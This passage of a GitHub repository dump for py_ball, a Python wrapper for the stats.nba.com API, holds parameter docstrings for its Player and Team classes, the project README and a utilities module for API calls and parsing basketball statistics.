rest). \n - **playerdashboardbylastngames**: Traditional and rank statistics \\\n broken down by the number of n recent games and game number \\\n bins.\n - **playerdashboardbyopponent**: Traditional and rank statistics \\\n broken down by opponent splits (conference, division, and \\\n individual team).\n - **playerdashboardbyshootingsplits**: Traditional and rank statistics \\\n broken down by shooting splits (shot distance, shot area, \\\n assisted/unassisted, shot type, and indivdual assistant).\n - **playerdashboardbyteamperformance**: Traditional and rank statistics \\\n broken down by team performance splits (win/loss, score differential, \\\n points for, and points against).\n - **playerdashboardbyyearoveryear**: Traditional and rank statistics \\\n broken down by year.\n - **playerdashptpass**: Shooting statistics for passes to and from \\\n a player broken down by teammates.\n - **playerdashptreb**: Rebound statistics broken down by shot type, \\\n contesting players, and shot/rebound distance.\n - **playerdashptshotdefend**: Defensive statistics broken down \\\n by shot type/distance.\n - **playerdashptshots**: Shooting statistics broken down by shot \\\n type, shot clock time, number of tribbles, defender proximity, and \\\n length of touch.\n - **playergamelog**: Game log statistics for a given year.\n - **playergamelogs**: Game log statistics for a given year.\n - **playerprofilev2**: Career and season summary statistics broken down \\\n by season type.\n - **playervsplayer**: Player statistics versus a given opponent player \\\n broken down by several shooting related splits (shot distance and \\\n area)\n - **playersvsplayers**: Currently not available\n - **shotchartdetail**: Player and league shot chart data giving results \\\n and location-related information for several player actions, \\\n such as shots and fouls.\n - **playerestimatedmetrics**: Estimated player statistics for a \\\n given year\n\n The Player class has the following required parameters:\n\n @param **headers** (*dict*): Dictionary of request header information\n required by the API. Specifically, the API requires you to declare\n the 'User-Agent' key of the request header dictionary. More information\n can be found `here <https://stackoverflow.com/questions/46781563/\n how-to-obtain-a-json-response-from-the-stats-nba-com-api>`_ and\n an example request header dictionary can be found in the __init__.py\n file in the tests folder of this module.\n\n @param **league_id** (*str*): LeagueID in the API. String of a \\\n two-digit number corresponding to the league. '00' is the NBA, \\\n '10' is the WNBA, '01' is the ABA, and '20' is the G-League.\n\n @param **player_id** (*str*): PlayerID in the API. String of an \\\n integer corresponding to a player ID for a given player.\n\n @param **player_id_list** (*str*): PlayerIDList in the API. String \\\n of a comma-separated list of player IDs for player comparisons \\\n to the players given in **vs_player_id_list**. Valid only for \\\n the 'playercompare' endpoint.\n\n @param **vs_player_id_list** (*str*): VsPlayerIDList in the API. \n String of a comma-separated list of player IDs for player \\\n comparisons to the players given in **player_id_list**. \\\n Valid only for the 'playercompare' endpoint.\n\n @param **per_mode** (*str*): PerMode in the API. String indicating \\\n the type of rate stats to be returned. Valid values include:\n\n - 'Totals', 'PerGame', 'MinutesPer', 'Per48', 'Per40', \\\n 'Per36', 'PerMinute', 'PerPossession', 'PerPlay', \\\n 'Per100Possessions', 'Per100Plays'\n\n @param **plus_minus** (*str*): PlusMinus in the API. String \\\n representing a Boolean value that indicates whether the values \\\n being returned should be in plus-minus form. Valid values \\\n include:\n\n - 'Y', 'N'\n\n @param **rank** (*str*): Rank in the API. String representing a \\\n Boolean value that indicates whether the values being returned \\\n should be in rank form. Valid values include:\n\n - 'Y', 'N'\n\n @param **pace_adjust** (*str*): PaceAdjust in the API. String \\\n representing a Boolean value that indicates whether the values \\\n being returned should be pace-adjusted. Valid values include:\n\n - 'Y', 'N'\n\n @param **measure_type** (*str*): MeasureType in the API. String \\\n indicating the set of statistics to be returned. Valid values \\\n include:\n\n - 'Base', 'Advanced', 'Misc', 'Four Factors', 'Scoring', \\\n 'Opponent', 'Usage', 'Defense'\n\n @param **period** (*str*): Period in the API. String of an integer \\\n value that corresponds to a desired quarter for data to be \\\n returned. A value of '0' returns data across all quarters.\n\n @param **vs_conference** (*str*): VsConference in the API. String \\\n indicating the conference of the opposing team for data to be \\\n returned. An empty string returns data across all conferences. \\\n Valid values include:\n\n - 'East', 'West', ''\n\n @param **last_n_games** (*str*): LastNGames in the API. String of an \\\n integer indicating the desired number of most recent games \\\n for data to be returned. A value of '0' returns data across \\\n all previous games, subject to other constraints in the API call.\n\n @param **team_id** (*str*): TeamID in the API. String of a 10-digit \\\n integer that uniquely identifies a team for which data is to \\\n be returned.\n\n @param **location** (*str*): Location in the API. String indicating \\\n the game location for the data to be returned. An empty \\\n string returns data across both home and road games. \\\n Valid values include:\n\n - 'Home', 'Road', ''\n\n @param **outcome** (*str*): Outcome in the API. String indicating \\\n the game outcome for the data to be returned. An empty \\\n string returns data across both wins and losses. Valid \\\n values include:\n\n - 'W', 'L', ''\n\n @param **date_from** (*str*): DateFrom in the API. String of a date \\\n in a MM/DD/YYYY format indicating the start date for which \\\n data is to be returned.\n\n @param **date_to** (*str*): DateTo in the API. String of a date \\\n in a MM/DD/YYYY format indicating the end date for which \\\n data is to be returned.\n\n @param **opp_team_id** (*str*): OpponentTeamID in the API. String \\\n of a 10-digit integer that uniquely identifies an opposing \\\n team for which data is to be returned.\n\n @param **season** (*str*): Season in the API. String of a two-year \\\n season in a YYYY-ZZ format, where the ZZ are the last two \\\n digits of the following year. For example, '2017-18' is a valid \\\n value of **season** and represents the 2017-18 NBA season.\n\n @param **vs_division** (*str*): VsDivision in the API. String \\\n indicating the division of the opposing team for data to be \\\n returned. An empty string returns data across all divisions. \\\n Valid values include:\n\n - 'Atlantic', 'Central', 'Northwest', 'Pacific', \\\n 'Southeast', 'Southwest', 'East', 'West', ''\n\n The 'East' and 'West' values correspond to conferences.\n\n @param **game_segment** (*str*): GameSegment in the API. String \\\n indicating the section of a game for data to be returned. \\\n An empty string returns data across all game segments. \\\n Valid values include:\n\n - 'First Half', 'Overtime', 'Second Half', ''\n\n @param **month** (*str*): Month in the API. String of an integer \\\n corresponding to a month for data to be returned. A value \\\n of '0' returns data across all months.\n\n @param **season_type** (*str*): SeasonType in the API. String \\\n indicating the type of season for data to be returned. \\\n Valid values include:\n\n - 'Regular Season', 'Pre Season', 'Playoffs', 'All Star'\n\n @param **season_segment** (*str*): SeasonSegment in the API. String \\\n indicating the section of the season for data to be returned. \\\n An empty string returns data across all season segments. \\\n Valid values include:\n\n - 'Pre All-Star', 'Post All-Star', ''\n\n @param **vs_player_id** (*str*): VsPlayerID in the API. String of \\\n an integer corresponding to a player ID for a given player.\n\n @param **player_team_id** (*str*): PlayerTeamID in the API. String \\\n of an integer corresponding to a team ID for a given team.\n\n @param **vs_player_team_id** (*str*): VsPlayerTeamID in the API. \\\n String of an integer corresponding to a team ID for a given team.\n\n @param **player_id_x** (*str*): PlayerIDX in the API. String of an \\\n integer corresponding to a player ID for a given player. \\\n The x (X in the API) is an integer 1 through 5. Valid only \\\n for the 'playersvsplayers' endpoint.\n\n @param **vs_player_id_x** (*str*): VsPlayerIDX in the API. String \\\n of an integer corresponding to a player ID for a given player. \\\n The x (X in the API) is an integer 1 through 5. Valid only for \\\n the 'playersvsplayers' endpoint.\n\n @param **rookie_year** (*str*): RookieYear in the API. String of \\\n a two-year season in a YYYY-ZZ format, where the ZZ are the \\\n last two digits of the following year. For example, '2017-18' \\\n is a valid value of **rookie_year** and represents the 2017-18 \\\n NBA season. This field should correspond to the rookie year of \\\n the player given.\n\n @param **context_measure** (*str*): ContextMeasure in the API. String \\\n of an abbreviated statistic corresponding to the type of action \\\n to be included in the data returned. Valid values include:\n\n - 'PTS', 'FGM', 'FGA', 'FG_PCT', 'FG3M', 'FG3A', 'FG3_PCT', \\\n 'PF', 'EFG_PCT', 'TS_PCT', 'PTS_FB', 'PTS_OFF_TOV', \\\n 'PTS_2ND_CHANCE', 'PF'\n\n @param **player_position** (*str*): PlayerPosition in the API. \\\n String of a basketball position corresponding to the position \\\n of the player given. An empty string returns data across all \\\n positions played. Valid values include:\n\n - 'Guard', 'Center', 'Forward'\n\n @param **game_id** (*str*): GameID in the API. 10-digit string \\\n that represents a unique game. The format is two leading \\\n zeroes, followed by a season indicator number ('1' for \\\n preseason, '2' for regular season, '4' for the post-season), \\\n then the trailing digits of the season in which the game \\\n took place (e.g. '17' for the 2017-18 season). The following \\\n 5 digits increment from '00001' in order as the season progresses. \\\n For example, '0021600001' is the **game_id** of the first game of \\\n the 2016-17 NBA regular season.\n\n @param **po_round** (*str*): PORound in the API. 1, 2, 3, or 4 \\\n corresponding to the deired playoff round\n\n @param **shot_clock_range** (*str*): ShotClockRange in the API \\\n Accepts one of the following strings for windows of the shot \\\n clock:\n\n - \"24-22\"\n - \"22-18\": very early\n - \"18-15\": early\n - \"15-7\": average\n - \"7-4\": late\n - \"4-0\": very late\n\n Attributes:\n\n **api_resp** (*dict*): JSON object of the API response. The API \\\n response has three keys. The 'resource' key describes the \\\n type of response returned (the endpoint in this instance). \\\n The 'parameters' key describes the parameters provided in the \\\n API call. The 'resultSets' key contains the data returned in \\\n the API call.\n\n **data** (*dict*): A dictionary of response names. Each response \\\n name is a key to a list of dictionaries containing the \\\n corresponding data.\n \"\"\"\n\n def __init__(self, headers, endpoint='playercareerstats',\n player_id='2544',\n player_id_list='2544', vs_player_id_list='201939',\n league_id='00',\n per_mode='PerGame', plus_minus='N',\n rank='Y', pace_adjust='N',\n measure_type='Base', period='0',\n vs_conference='', last_n_games='0',\n team_id='0', location='', outcome='',\n date_from='', date_to='', opp_team_id='0',\n season=get_season_year(\"00\"), vs_division='',\n game_segment='', month='0',\n season_type='Regular Season', season_segment='',\n vs_player_id='201939',\n player_team_id='1610612747',\n vs_player_team_id='1610612744',\n player_id_1='2544', player_id_2='0',\n player_id_3='0', player_id_4='0',\n player_id_5='0',\n vs_player_id_1 = '201939', vs_player_id_2='0',\n vs_player_id_3='0', vs_player_id_4='0',\n vs_player_id_5='0', rookie_year='',\n context_measure = 'FGA', player_position='',\n game_id='0011800079', po_round='',\n shot_clock_range=''):\n\n # Controlling the parameters depending on the endpoint\n if endpoint not in ['playercareerstats', 'playergamelog',\n 'playerprofilev2', 'playerestimatedmetrics']:\n params = {'LeagueID': league_id,\n 'PerMode': per_mode,\n 'PlusMinus': plus_minus,\n 'Rank': rank,\n 'PaceAdjust': pace_adjust,\n 'MeasureType': measure_type,\n 'Period': period,\n 'VsConference': vs_conference,\n 'Location': location,\n 'Outcome': outcome,\n 'DateFrom': date_from,\n 'DateTo': date_to,\n 'PlayerID': player_id,\n 'OpponentTeamID': opp_team_id,\n 'Season': season,\n 'VsDivision': vs_division,\n 'GameSegment': game_segment,\n 'Month': month,\n 'SeasonType': season_type,\n 'SeasonSegment': season_segment,\n 'LastNGames': last_n_games,\n 'PORound': po_round,\n 'ShotClockRange': shot_clock_range}\n elif endpoint in ['playercareerstats',\n 'playerprofilev2']:\n params = {'PlayerID': player_id,\n 'PerMode': per_mode}\n elif endpoint == 'playergamelog':\n params = {'PlayerID': player_id,\n 'Season': season,\n 'SeasonType': season_type}\n elif endpoint == 'playerestimatedmetrics':\n params = {'LeagueID': league_id,\n 'Season': season,\n 'SeasonType': season_type}\n \n\n if endpoint in ['playercompare']:\n params['PlayerIDList'] = player_id_list\n params['VsPlayerIDList'] = vs_player_id_list\n elif endpoint in ['playerdashptpass']:\n del params['PlusMinus'], params['PaceAdjust']\n del params['Rank'], params['MeasureType']\n del params['Period'], params['GameSegment']\n params['TeamID'] = team_id\n elif endpoint in ['playerdashptreb',\n 'playerdashptshotdefend',\n 'playerdashptshots']:\n del params['PlusMinus'], params['PaceAdjust']\n del params['Rank'], params['MeasureType']\n params['TeamID'] = team_id\n elif endpoint in ['playervsplayer']:\n params['PlayerID'] = player_id\n params['VsPlayerID'] = vs_player_id\n elif endpoint in ['playersvsplayers']:\n params['PlayerTeamID'] = player_team_id\n params['VsTeamID'] = vs_player_team_id\n params['PlayerID1'] = player_id_1\n params['PlayerID2'] = player_id_2\n params['PlayerID3'] = player_id_3\n params['PlayerID4'] = player_id_4\n params['PlayerID5'] = player_id_5\n params['VsPlayerID1'] = vs_player_id_1\n params['VsPlayerID2'] = vs_player_id_2\n params['VsPlayerID3'] = vs_player_id_3\n params['VsPlayerID4'] = vs_player_id_4\n params['VsPlayerID5'] = vs_player_id_5\n elif endpoint in ['shotchartdetail']:\n params['TeamID'] = team_id\n params['RookieYear'] = rookie_year\n params['ContextMeasure'] = context_measure\n params['PlayerPosition'] = player_position\n params['GameID'] = game_id\n\n self.api_resp = api_call(endpoint=endpoint,\n params=params,\n headers=headers)\n\n # Storing the API response in a dictionary called data\n # The results can come in different formats, namely a\n # dictionary keyed by either resultSets or resultSet\n self.data = parse_api_call(self.api_resp)\n" }, { "alpha_fraction": 0.7553117275238037, "alphanum_fraction": 0.7582723498344421, "avg_line_length": 66.55294036865234, "blob_id": "05e420f4c1c4ad4dbede41234cd12d52edafb598", "content_id": "cd909721025cfd573beb0358798add67be84daa0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 5742, "license_type": "permissive", "max_line_length": 717, "num_lines": 85, "path": "/README.md", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "[![Downloads](https://pepy.tech/badge/py-ball)](https://pepy.tech/project/py-ball)\n\n# py_ball\nPython API wrapper for stats.nba.com with a focus on NBA and WNBA applications\n\n## Introduction\n\nThe motivation for this stems from [nba_py](https://github.com/seemethere/nba_py) by [seemethere](https://github.com/seemethere) and [nbastatsR](https://github.com/abresler/nbastatR) by [abresler](https://github.com/abresler). The work towards a Python API wrapper in `nba_py` is a great start, but the documentation of the [stats.nba.com](https://stats.nba.com) API is lacking. `nbastatsR` is an extremely valuable resource for the R community, and this work hopes to extend the breadth and depth of that package. In my research, I have also come across the recent effort of [nba_api](https://github.com/swar/nba_api) by [swar](https://github.com/swar). This looks similar to `nba_py` and I am hoping to collaborate.\n\n## Goals\n\nIf successful, `py_ball` should accomplish the following:\n- By working with the community, improve the quality of documentation for [stats.nba.com](https://stats.nba.com).\n- Further enable the dissemination of basketball statistics to increase the understanding of the sport and encourage the practice of basketball analytics.\n- Produce introductory analyses leveraging NBA and WNBA data to reduce the barrier of entry to basketball analytics through demonstration.\n- Focus on the WNBA in an effort to stress inclusivity and contribute to women's basketball analytics.\n\n## Documentation\n\nWhile `nba_api` improves greatly upon the documentation of the [stats.nba.com](https://stats.nba.com) API in `nba_py`, `py_ball` strives to take documentation further through the following:\n- Fully documented code, including function, class, and script docstrings.\n- Extend endpoint and parameter documentation to include feature definitions.\n\n### [Current Documentation](https://github.com/basketballrelativity/py_ball/wiki)\n\nClasses:\n\nThe functionality of the classes within the package are documented in both the docstrings and [this site](https://basketballrelativity.github.io/py_ball/_build/html/index.html). The endpoints, parameters, and tables are documented in the Wiki (linked below):\n\n- [BoxScore](https://github.com/basketballrelativity/py_ball/wiki/BoxScore)\n- [Draft](https://github.com/basketballrelativity/py_ball/wiki/Draft)\n- [Image](https://github.com/basketballrelativity/py_ball/wiki/Image)\n- [LeaderBoard](https://github.com/basketballrelativity/py_ball/wiki/LeaderBoard)\n- [League](https://github.com/basketballrelativity/py_ball/wiki/League)\n- [LeagueDash](https://github.com/basketballrelativity/py_ball/wiki/LeagueDash)\n- [LeagueHustle](https://github.com/basketballrelativity/py_ball/wiki/LeagueHustle)\n- [PlayByPlay](https://github.com/basketballrelativity/py_ball/wiki/PlayByPlay)\n- [Player](https://github.com/basketballrelativity/py_ball/wiki/Player)\n- [Salaries](https://github.com/basketballrelativity/py_ball/wiki/Salaries) (using [Hoopshype](https://hoopshype.com/))\n- [ScoreBoard](https://github.com/basketballrelativity/py_ball/wiki/ScoreBoard)\n- [Shots](https://github.com/basketballrelativity/py_ball/wiki/Shots)\n- [Team](https://github.com/basketballrelativity/py_ball/wiki/Team)\n- [WinProbability](https://github.com/basketballrelativity/py_ball/wiki/WinProbability)\n\n## Development\n\n1. ~~Initially map [stats.nba.com](https://stats.nba.com) API and fully document code.~~\n2. ~~Refactor code to generate a more consistent structure across classes.~~\n3. ~~Document endpoints and parameters with definitions.~~ (See Wiki [here](https://github.com/basketballrelativity/py_ball/wiki))\n4. Research other basketball-related APIs to map.\n5. ~~Write unit tests for the package.~~\n6. ~~Begin introductory basketball analytics analyses.~~\n - ~~Franchise History~~ ([here!](https://github.com/basketballrelativity/franchise_history))\n - ~~Draft Combine Player Sheet~~ ([here!](https://github.com/basketballrelativity/draft_combine))\n - ~~Live NBA/WNBA scoreboard~~ ([here!](https://github.com/basketballrelativity/scoreboard))\n - ~~Shot Probability Model~~ ([here!](https://github.com/basketballrelativity/shot_probability))\n - ~~Location Data Exploration~~ ([here!](https://github.com/basketballrelativity/location_data))\n - ~~Assist Networks~~ ([here!](https://github.com/basketballrelativity/assist_networks))\n - ~~Win Probability Model~~ ([here!](https://github.com/basketballrelativity/py_ball/wiki/WinProbability))\n\n## Installation\n\nThe package is built for Python 3 and leverages the packages in the `requirements.txt` file. `py_ball` can be installed via pip (more info [here](https://pypi.org/project/py-ball/)):\n```\npip install py_ball\n```\n\n## Usage\n\nThe [stats.nba.com](https://stats.nba.com) API requires a request header for all API calls. A good discussion on this, including steps to obtain a proper request header, can be found [here](https://stackoverflow.com/questions/46781563/how-to-obtain-a-json-response-from-the-stats-nba-com-api). With a request header in `HEADER`, the example below demonstrates usage of the package to pull franchise history for the WNBA:\n\n```\nfrom py_ball import league, image\n\nleague_id = '10' #WNBA\nfranchises = league.League(headers=HEADERS,\n endpoint='franchisehistory',\n league_id=league_id)\n```\n\nEach class, with the exception of the `Headshot` and `Logo` classes, has a `data` attribute. This is a dictionary containing table names as keys and a list of dictionaries of table data as values. The `Headshot` and `Logo` classes have an `image` attribute that is a PNG object.\n\n## Contact\n\nFollow along for updates or reach out on Twitter [@py_ball_](https://twitter.com/py_ball_)!\n" }, { "alpha_fraction": 0.5330277681350708, "alphanum_fraction": 0.5455648303031921, "avg_line_length": 31.252174377441406, "blob_id": "81e3013b2dc077abc9253b1da0460b56be118d7c", "content_id": "a47c86609cc0e72aac9d50fe7df8263b2d2a8358", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7418, "license_type": "permissive", "max_line_length": 99, "num_lines": 230, "path": "/py_ball/utils.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 21 16:06:31 2018\n\n@author: patrickmcfarlane\n\nutils.py\n\nUtilities for the py_ball package\n\"\"\"\nfrom datetime import date\n\nfrom requests import get\nimport pkgutil\nimport pickle\n\nBASE_URL = 'http://stats.nba.com/stats/{endpoint}/'\nBASE_WNBA_URL = 'http://data.wnba.com/data/5s/v2015/json/mobile_teams/' + \\\n 'wnba/{season}/scores/pbp/{game_id}_{quarter}_pbp.json'\n\ndef api_call(endpoint, params, headers):\n \"\"\" This function completes the API call at the given\n end point with the provided parameters.\n\n Args:\n - @param **endpoint** (*str*): string corresponding to a \\\n `stats.nba.com <https://stats.nba.com>`_ API endpoint\n\n Returns:\n - JSON object of the API response\n \"\"\"\n\n api_response = get(BASE_URL.format(endpoint=endpoint), params=params,\n headers=headers)\n\n api_response.raise_for_status()\n json_resp = api_response.json()\n\n api_response.close()\n return json_resp\n\n\ndef wnba_shot_call(params, headers):\n \"\"\" This function completes the API call for WNBA\n shot data with the provided parameters.\n\n Args:\n - @param **params** (*str*): Dictionary containing required\n parameters for the WNBA shot data URL\n\n Returns:\n - **pbp_list** (*list*): list of play-by-play data\n \"\"\"\n\n pbp_list = []\n for i in range(1, 10):\n try:\n api_response = get(BASE_WNBA_URL.format(season=params['season'],\n game_id=params['game_id'],\n quarter=i,\n headers=headers))\n \n api_response.raise_for_status()\n json_resp = api_response.json()\n pbp_list += json_resp['g']['pla']\n except:\n break\n\n api_response.close()\n return pbp_list\n\n\ndef parse_api_call(api_resp):\n \"\"\" This function parses the API call returned from **api_call**\n and stores the response in a dictionary.\n\n Args:\n - @param **api_resp** (*dict*): JSON object of an API response. \\\n This dictionary is keyed by 'resource', 'parameters', and \\\n 'resultSets'/'resultSet'. 'resource' contains the endpoint of the \\\n API call. 'parameters' contains the parameters passed to the API call. \\\n 'resultSets'/'resultSet' contains the data returned from the \\\n API call.\n\n Returns:\n - Dictionary keyed by all table names returned from the API call \\\n containing all data in 'resultSets'/'resultSet'.\n \"\"\"\n\n data = {}\n if 'resultSets' in api_resp:\n dictionary_key = 'resultSets'\n elif 'resultSet' in api_resp:\n dictionary_key = 'resultSet'\n\n if isinstance(api_resp[dictionary_key], list):\n for result_set in api_resp[dictionary_key]:\n headers = result_set['headers']\n if len(headers) > 0:\n if isinstance(headers[0], dict):\n add_on = headers[0]['columnNames']\n keep_header = headers[1]['columnNames']\n col_ind = 0\n col_count = 0\n add_count = 0\n for col_name in keep_header:\n col_count += 1\n if col_count <= 5:\n continue\n else:\n keep_header[col_count] += '_' + add_on[col_ind]\n add_count += 1\n if add_count == 2:\n add_count = 0\n col_ind = 1\n headers = keep_header\n values = result_set['rowSet']\n name = result_set['name']\n data[name] = [dict(zip(headers, value)) \n for value in values]\n else:\n result_set = api_resp[dictionary_key]\n headers = result_set['headers']\n if isinstance(headers[0], dict):\n add_on = headers[0]['columnNames']\n keep_header = headers[1]['columnNames']\n col_ind = 0\n col_count = -1\n add_count = 0\n for col_name in keep_header:\n col_count += 1\n if col_count <= 4:\n continue\n else:\n keep_header[col_count] += '_' + add_on[col_ind].replace(' ', '_')\n add_count += 1\n if add_count == 3:\n add_count = 0\n col_ind += 1\n headers = keep_header\n \n values = result_set['rowSet']\n name = result_set['name']\n data[name] = [dict(zip(headers, value)) \n for value in values]\n\n return data\n\n\ndef get_seconds_left(period, time_string):\n \"\"\" get_seconds_left calculates the seconds\n remaining in the game\n\n @param period (int): Integer indicating which quarter\n the game is in\n @param time_string (str): String of the format\n MM:SS for the time remaining in the quarter\n\n Returns:\n\n - seconds_remaining (int): Number of seconds\n remaining in the game\n \"\"\"\n\n time_in_quarter = 12 #normal quarter is 12 minutes long\n if period > 4:\n time_in_quarter=5 #if it's overtime, 5 mins long\n mins, seconds = time_string.split(':') #from a string like \"11:20\", we have 11 mins, 20 seconds\n extra_after_quarter = (4-period)*time_in_quarter*60 \n if period > 4:\n #if overtime, we go into negatives, so 10 seconds into overtime is -10 and so on\n extra_after_quarter = (5-period)*time_in_quarter*60 \n time_elapsed = (time_in_quarter*60) - ((int(mins)*60)+(int(seconds))) # convert to seconds\n seconds_remaining = extra_after_quarter-time_elapsed\n else:\n seconds_remaining = extra_after_quarter+(int(mins)*60)+(int(seconds)) #convert to seconds\n\n return seconds_remaining\n\n\ndef open_model(fname=\"models/model.pickle\"):\n \"\"\" This function opens the win probability model\n\n @param fname (str): Name of the file containing\n the win probability model\n\n Returns:\n\n - time_to_model (sklearn.linear_model.Logistic_Regression):\n Win probability model\n \"\"\"\n pickle_data = pkgutil.get_data(__name__, fname)\n time_to_model = pickle.loads(pickle_data)\n return time_to_model\n\n\ndef get_season_year(league_id):\n \"\"\" This function returns the season in either XXXX-YY\n format for the NBA or G-League or XXXX format for\n the WNBA\n\n @param league_id (str): One of \"00\" for NBA, \"10\" for\n the WNBA, or \"20\" for the G-League\n\n Returns:\n\n - season_year (str): Season in the correct\n format for the corresponding league\n \"\"\"\n\n today = date.today()\n\n month = today.month\n year = today.year\n\n if league_id == \"10\":\n season_year = str(year)\n else:\n if month >= 10:\n # Defaulting to current season in October\n next_year = int(str(year)[-2:]) + 1\n season_year = str(year) + \"-\" + str(next_year)\n else:\n # Defaulting to the current or just completed season\n # from Jan. to Sept.\n next_year = int(str(year)[-2:])\n season_year = str(year - 1) + \"-\" + str(next_year)\n\n return season_year\n" }, { "alpha_fraction": 0.5636470913887024, "alphanum_fraction": 0.5742658376693726, "avg_line_length": 46.23219680786133, "blob_id": "d976ed9cd6b7629a1c14fecaf5cb563e0c0019ae", "content_id": "7d04da6acdd9a05b0cc05fd222fc036ab2336658", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15256, "license_type": "permissive", "max_line_length": 83, "num_lines": 323, "path": "/py_ball/team.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 20 18:34:11 2018\n\n@author: patrickmcfarlane\n\nteam.py contains the Team class that\nenables API calls for team-related\nendpoints\n\"\"\"\n\nfrom .utils import api_call, parse_api_call, get_season_year\n\nclass Team:\n \"\"\" The Team class contains all resources needed\n to use the team-related API calls. `stats.nba.com <https://stats.nba.com>`_\n has the following team-related API endpoints:\n\n - **teamdashboardbyclutch**: Traditional and rank statistics broken \\\n down by different definitions of clutch for a team.\n - **teamdashboardbygamesplits**: Traditional and rank statistics \\\n broken down by different splits (half, quarter, and score \\\n differential).\n - **teamdashboardbygeneralsplits**: Traditional and rank statistics \\\n broken down by different splits (win/loss, location, month, \\\n pre/post All-Star, days rest). \n - **teamdashboardbylastngames**: Traditional and rank statistics \\\n broken down by the number of n recent games and game number \\\n bins.\n - **teamdashboardbyopponent**: Traditional and rank statistics \\\n broken down by opponent splits (conference, division, and \\\n individual team).\n - **teamdashboardbyshootingsplits**: Traditional and rank statistics \\\n broken down by shooting splits (shot distance, shot area, \\\n assisted/unassisted, shot type, and indivdual assistant).\n - **teamdashboardbyteamperformance**: Traditional and rank statistics \\\n broken down by team performance splits (win/loss, score differential, \\\n points for, and points against).\n - **teamdashboardbyyearoveryear**: Traditional and rank statistics \\\n broken down by year.\n - **teamdashlineups**: Traditional and plus/minus statistics \\\n for sets of lineups between sizes 2 to 5 players, inclusive.\n - **teamdashptpass**: Shooting statistics for passes to and from \\\n a player broken down by teammates.\n - **teamdashptreb**: Rebound statistics broken down by shot type, \\\n contesting players, and shot/rebound distance.\n - **teamdashptshots**: Shooting statistics broken down by shot \\\n type, shot clock time, number of tribbles, defender proximity, and \\\n length of touch.\n - **teamgamelog**: Game log statistics for a given year.\n - **teamgamelogs**: Game log statistics for a given year.\n - **teaminfocommon**: Team information for a given year.\n - **teamplayerdashboard**: Player traditional and rank statistics \\\n for a given team.\n - **teamplayeronoffdetails**: Team traditional and rank statistics \\\n broken down by on/off splits per player.\n - **teamplayeronoffsummary**: Team summary statistics broken down \\\n by on/off splits per player.\n - **teamvsplayer**: Team statistics versus a given opponent player \\\n broken down by several shooting related splits (shot distance and \\\n area)\n - **teamyearbyyearstats**: Team statistics and performance broken \\\n down by year\n - **teamestimatedmetrics**: Estimated player statistics for a \\\n given year\n\n The Team class has the following required parameters:\n\n @param **headers** (*dict*): Dictionary of request header information\n required by the API. Specifically, the API requires you to declare\n the 'User-Agent' key of the request header dictionary. More information\n can be found `here <https://stackoverflow.com/questions/46781563/\n how-to-obtain-a-json-response-from-the-stats-nba-com-api>`_ and\n an example request header dictionary can be found in the __init__.py\n file in the tests folder of this module.\n\n @param **league_id** (*str*): LeagueID in the API. String of a \\\n two-digit number corresponding to the league. '00' is the NBA, \\\n '10' is the WNBA, '01' is the ABA, and '20' is the G-League.\n\n @param **per_mode** (*str*): PerMode in the API. String indicating \\\n the type of rate stats to be returned. Valid values include:\n\n - 'Totals', 'PerGame', 'MinutesPer', 'Per48', 'Per40', \\\n 'Per36', 'PerMinute', 'PerPossession', 'PerPlay', \\\n 'Per100Possessions', 'Per100Plays'\n\n @param **plus_minus** (*str*): PlusMinus in the API. String \\\n representing a Boolean value that indicates whether the \\\n values being returned should be in plus-minus form. \\\n Valid values include:\n\n - 'Y', 'N'\n\n @param **rank** (*str*): Rank in the API. String representing \\\n a Boolean value that indicates whether the values being \\\n returned should be in rank form. Valid values include:\n\n - 'Y', 'N'\n\n @param **pace_adjust** (*str*): PaceAdjust in the API. String \\\n representing a Boolean value that indicates whether the \\\n values being returned should be pace-adjusted. \\\n Valid values include:\n\n - 'Y', 'N'\n\n @param **measure_type** (*str*): MeasureType in the API. String \\\n indicating the set of statistics to be returned. Valid values \\\n include:\n\n - 'Base', 'Advanced', 'Misc', 'Four Factors', 'Scoring', \\\n 'Opponent', 'Usage', 'Defense'\n\n @param **period** (*str*): Period in the API. String of an integer \\\n value that corresponds to a desired quarter for data to be \\\n returned. A value of '0' returns data across all quarters.\n\n @param **vs_conference** (*str*): VsConference in the API. String \\\n indicating the conference of the opposing team for data to be \\\n returned. An empty string returns data across all conferences. \\\n Valid values include:\n\n - 'East', 'West', ''\n\n @param **last_n_games** (*str*): LastNGames in the API. String of \\\n an integer indicating the desired number of most recent games \\\n for data to be returned. A value of '0' returns data across \\\n all previous games, subject to other constraints in the API call.\n\n @param **team_id** (*str*): TeamID in the API. String of a 10-digit \\\n integer that uniquely identifies a team for which data \\\n is to be returned.\n\n @param **location** (*str*): Location in the API. String indicating \\\n the game location for the data to be returned. An empty string \\\n returns data across both home and road games. Valid values \\\n include:\n\n - 'Home', 'Road', ''\n\n @param **outcome** (*str*): Outcome in the API. String indicating \\\n the game outcome for the data to be returned. An empty string \\\n returns data across both wins and losses. Valid values include:\n\n - 'W', 'L', ''\n\n @param **date_from** (*str*): DateFrom in the API. String of a date \\\n in a MM/DD/YYYY format indicating the start date for which \\\n data is to be returned.\n\n @param **date_to** (*str*): DateTo in the API. String of a date \\\n in a MM/DD/YYYY format indicating the end date for which \\\n data is to be returned.\n\n @param **opp_team_id** (*str*): OpponentTeamID in the API. String \\\n of a 10-digit integer that uniquely identifies an opposing \\\n team for which data is to be returned.\n\n @param **season** (*str*): Season in the API. String of a two-year \\\n season in a YYYY-ZZ format, where the ZZ are the last two \\\n digits of the following year. For example, '2017-18' is a valid \\\n value of **season** and represents the 2017-18 NBA season.\n\n @param **vs_division** (*str*): VsDivision in the API. String \\\n indicating the division of the opposing team for data to be \\\n returned. An empty string returns data across all divisions. \\\n Valid values include:\n\n - 'Atlantic', 'Central', 'Northwest', 'Pacific', \\\n 'Southeast', 'Southwest', 'East', 'West', ''\n\n The 'East' and 'West' values correspond to conferences.\n\n 